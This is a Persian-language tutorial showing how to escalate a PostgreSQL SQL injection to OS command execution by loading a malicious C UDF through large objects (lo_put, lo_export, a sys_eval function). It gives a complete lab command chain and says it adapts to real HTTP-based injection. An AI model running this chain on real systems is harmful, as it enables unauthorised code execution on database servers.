پایگاه داده PostgreSQL یکی از معروف ترین پایگاه داده های رابطه ای است که در کاربردهای مختلفی از جمله توسعه وب مورد استفاده قرار می گیرد. در این مقاله به بررسی تزریق UDF در پایگاه داده PostgreSQL خواهیم پرداخت و چگونگی رسیدن به اجرای کد از راه دور (RCE) از این طریق را خواهیم آموخت.
به احتمال زیاد شما هم تاکنون، نام آسیب پذیری SQL Injection را شنیده اید. به زبان ساده آسیب پذیری SQL Injection زمانی رخ می دهد که یکی از ورودی هایی که توسط کاربر دریافت می شود مستقیماً در Query ارسال شده به پایگاه داده اضافه شود. در این حالت هکر می تواند با فرستادن ورودی های مختلف و حدس زدن در مورد Query اصلی، محتوای ورودی را به صورت دلخواه تغییر دهد. تغییرات دلخواه میتواند منجر به خواندن یا تغییر داده های حساس، دور زدن صفحه ورود وب سایت، اضافه یا پاک کردن داده جدید و یا اجرای کد شود. البته این در صورتی است که در کد منبع، از سازوکارهای امن سازی و فیلتر کردن ورودی استفاده نشده باشد. یکی از تکنیک های قدیمی که برای تبدیل آسیب پذیریSQL Injection به اجرای کد وجود دارد استفاده از تکنیک «تزریقUDF» است. UDF در واقع خلاصه شده عبارت User Defined Function و معادل توابع تعریف شده توسط کاربر است. تزریق UDF در واقع تکنیک اضافه کردن توابع مورد نیاز به پایگاه داده مورد نظر، توسط Query ها یا فایل ها است. مزیت این روش امکان اضافه کردن قابلیت های مد نظر خودمان به پایگاه داده و گرفتن دسترسی به سطح سیستم عامل توسط اجرای این قابلیت ها در پایگاه داده است.
تزریق UDF در PostgreSQL
با توجه به اینکه پایگاه داده PostgreSQL با زبان C نوشته شده است توابعی که برای آن خواهیم نوشت هم باید به این زبان نوشته و کامپایل شوند. برای درک بیشتر ابعاد موضوع، یک نمونه Query که تابعی با نام exec را جهت اجرای کد به پایگاه داده اضافه می کند را با هم در مثال زیر بررسی می کنیم.
create or replace function exec(char) returns char as \ ‘/tmp/udfhack/linux/lib_postgresqludf_sys/udf64.so’,’sys_eval’ language c strict;
اگر به ساختار نمونه بالا نگاه کنیم متوجه می شویم که با اجرای این Query یک تابع جدید با نام exec، توسط فایل udf64.so به پایگاه داده اضافه می شود که ورودی و خروجی آن از نوع کاراکتر است. بنابراین ما نیاز به تولید یک فایل so. و اضافه کردن آن به پایگاه داده توسط Query داریم که لازمه این موضوع کامپایل کردن کد C و ذخیره کردن آن در سروری است که پایگاه داده روی آن در حال اجراست. به همین منظور ابتدا با هم یاد خواهیم گرفت که فایل so. موجود در مثال بالا را چگونه تولید کنیم و سپس با مفهومی جدید با عنوان Large Objects Storage در PostgreSQL آشنا می شویم تا بتوانیم توسط آن فایل مورد نظر خودمان را وارد پایگاه داده کنیم. در این مرحله یک نفس عمیق بکشید و لینوکس خود را آماده کنید تا با هم یک RCE هیجانی را تجربه کنیم! 🙂
در ادامه کار برای ساختن آزمایشگاه،gcc و پایگاه داده PostgreSQL نسخه 12 را با استفاده از دستورات زیر نصب می کنیم. دستور نصب برای توزیع های Debian به صورت زیر است:
sudo apt update
sudo apt install build-essential
sudo apt-get install postgresql-12 postgresql-server-dev-12 postgresql-client-12 -y
sudo service postgresql start
حال باید یک نمونه کد C نوشته باشیم که تابعی با نام exec را تعریف کند و سپس آن را کامپایل کرده و به قالب Shared Object (فرمت so.) تبدیل کنیم که بتوان آن را به عنوان یک کتابخانه به پایگاه داده اضافه کرد. برای راحتی کار به سراغ پروژه معروف SQLMAP می رویم که این کار را قبلاً انجام داده است و با استفاده از دستور زیر، کد منبع مورد نیاز را از گیت هاب این پروژه دانلود می کنیم!
git clone https://github.com/sqlmapproject/udfhack.git
پس از دانلود، با دستور زیر به دایرکتوری مربوط به پایگاه داده PostgreSQL می رویم:
cd udfhack/linux/lib_postgresqludf_sys/
همانطور که در شکل زیر مشاهده می کنید پس از انجام دستورات بالا، اگر لیست فایل های دایرکتوری را با دستور ls بگیریم خواهیم دید که فایل C مربوطه همراه با فایل Make آن موجود است.
حال باید فایل c موجود در این دایرکتوری را با استفاده از دستور زیر کامپایل کنیم:
gcc lib_postgresqludf_sys.c -I`pg_config --includedir-server` -fPIC -shared -o udf64.so
در صورتی که کامپایل به صورت موفقیت آمیز انجام شود مانند شکل زیر هیچ پیامی در خروجی برای شما چاپ نمی شود. پس از کامپایل کردن، با استفاده از دستور ls مطمئن می شویم که فایل udf64.so ساخته شده است.
در این مرحله فایل کتابخانه ما آماده شده است تا با استفاده از Query در داخل پایگاه داده اضافه شود اما همچنان این فایل روی سرور موجود نیست تا بتوانیم آن را استفاده کنیم. در ادامه با ما همراه باشید تا با هم یاد بگیریم که چگونه می توانیم این فایل را در سرور ایجاد کنیم!
اضافه کردن فایل کتابخانه به سرور
در این بخش با هم یاد خواهیم گرفت که در یک سناریوی واقعی SQL Injection، چگونه بدون داشتن دسترسی آپلود و تنها با Query های SQL فایل کتابخانه خود را در سرور ایجاد کنیم. برای این کار باید ابتدا با مفهوم Large Objects Storage در PostgreSQL آشنا شویم. به صورت خلاصه قابلیت Large Objects در PostgreSQL به ما اجازه می دهد تا داده های بسیار بزرگ را با فرمت بایت در پایگاه داده ذخیره کنیم و علاوه بر آن بعداً بتوانیم آن ها را به فضای ذخیره سازی سرور export کنیم. برای مطالعه بیشتر راجع به این قابلیت می توانید از این لینک استفاده کنید.
حال برای استفاده از این آسیب پذیری ما باید ابتدا بتوانیم فایل udf64.so را به رشته ای از بایت ها تبدیل کنیم. برای این کار باید از دستوری مانند زیر استفاده کنیم:
xxd -p udf64.so | tee udf.txt
با این کار در دایرکتوری جاری یک فایل با نام udf.txt ایجاد می شود که محتوای آن مطابق شکل زیر خروجی بایت شده فایل udf64.so است.
در ادامه با استفاده از دستور ترکیبی زیر از متغیر x به عنوان شمارنده استفاده می کنیم و هر 30 بایت را در قالب یک Query در خطی جدید از u.psql ذخیره می کنیم.
x=0;while read line; do echo "select lo_put(PLACEHOLDER, $x, '\\x$line');" >> u.psql; x=$((x+30)); done < udf.txt
با زدن دستور بالا در ترمینال، در واقع Query های لازم مطابق شکل زیر در فایل u.psql ذخیره می شوند و محتوای آن مانند شکل زیر می شود:
در مرحله بعد می توانیم با اجرای مرحله به مرحله این Query ها محتوای کل کتابخانه را به صورت Large Objects وارد PostgreSQL کنیم. توجه کنید که برای انجام این کار کاربر شما در پایگاه داده باید اجازه لازم برای دسترسی به قابلیت Large Objects را داشته باشد. برای این کار ابتدا بررسی می کنیم که آیا قبلا Large Object دیگری تعریف شده بوده یا نه. برای این کار از دستور زیر استفاده می کنیم:
select loid from pg_largeobject;
در صورتی که خروجی شامل یک یا تعدادی از اعداد بود باید همه آن Large Object ها را پاک کنیم اما در صورتی که خروجی مانند شکل زیر بود نیازی نیست که کاری کنیم.
برای پاک کردن Large Object های قبلی کافی است اعداد به دست آمده را به جای عدد موجود در Query زیر جایگزین کنیم.
select lo_unlink(16388);
دلیل پاک کردن Large Object های قبلی این است که مزاحم خروجی گرفتن ما نباشند و محتوای اضافی در فایل export شده وجود نداشته باشد. حال برای اینکه Large Object جدید را بسازیم از دستور زیر استفاده می کنیم:
select lo_create(-1);
خروجی دستور بالا یک مانند شکل زیر عدد 4294967295 را به ما بر می گرداند.
حال باید در فایل u.psql بگردیم و به جای عبارت PLACEHOLDER عدد 4294967295 را جایگزین کنیم. پس از انجام این کار حالا می توانیم با دستوری مانند زیر Query های موجود در فایل u.psql را در سرور اجرا کنیم و Large Object جدید را بسازیم.
psql -h localhost -U myuser -d mydb -f ./u.psql
دستور بالا در واقع با کاربر myuser به پایگاه داده PostgreSQL نصب شده در سیستم ما وصل می شود و سپس در پایگاه داده ای با نام mydb فایل u.psql را اجرا می کند. توجه داشته باشید که در این مورد، برای آسان بودن آزمایش، این سناریو را به صورت دستوراتی در ترمینال انجام دادیم اما در نمونه واقعی و در صورت داشتن آسیب پذیری SQL Injection، این کار تفاوت چندانی نخواهد داشت و کافیست به جای پاس دادن فایل به عنوان ورودی یک دستور، درخواست ها را به صورت جداگانه در URL قرار دهیم و در قالب چند درخواست HTTP ارسال کنیم.
خروجی دستور بالا مانند شکل زیر خواهد بود:
در مرحله بعد پس از اجرای دستور بالا، حال می توانیم با دستور زیر و قرار دادن عدد Large Object تولید شده و آدرسی مانند tmp/exploit.so/ در تابع lo_export، فایل کتابخانه خودمان را از Large Object خروجی گرفته و در دایرکتوری tmp/ سرور ذخیره کنیم.
select lo_export(24588, '/tmp/exploit.so');
خروجی دستور بالا مانند شکل زیر خواهد بود:
حال اگر دایرکتوری tmp/ را چک کنیم مانند شکل زیر فایل exploit.so ساخته شده است.
پس از این کار می توانیم با استفاده از Query زیر تابع exec را از این کتابخانه فراخوانی کنیم و در پایگاه داده ثبت کنیم.
create or replace function exec(char) returns char as '/tmp/exploit.so', 'sys_eval' language c strict;
خروجی دستور بالا عبارتی مانند شکل زیر خواهد بود:
حال اگر دستوری مانند زیر را اجرا کنیم خروجی مشخصات کارت شبکه به ما نمایش داده خواهد شد.
select exec('ifconfig');
خروجی اجرای این دستور را در شکل زیر مشاهده می کنید.
نتیجه گیری
در این مقاله با هم یاد گرفتیم که چگونه می توانیم با داشتن آسیب پذیری SQL Injection از یک سامانه با پایگاه داده PostgreSQL، دسترسی خودمان را با استفاده از UDF Injection بالاتر ببریم و به اجرای کد در سطح سیستم عامل برسیم و نمونه ای از آن را به صورت عملی روی نسخه 12 این پایگاه داده انجام دادیم و با توجه به پشتیبانی پروژه SQLMAP از نسخه های 10 و 11 این پایگاه داده، در این نسخه ها نیز این روش قابل استفاده خواهد بود اما ممکن است نیاز به تغییر در برخی جزییات کد نوشته شده داشته باشید.
منبع:
https://medium.com/@afinepl/postgresql-code-execution-udf-revisited-3b08412f47c1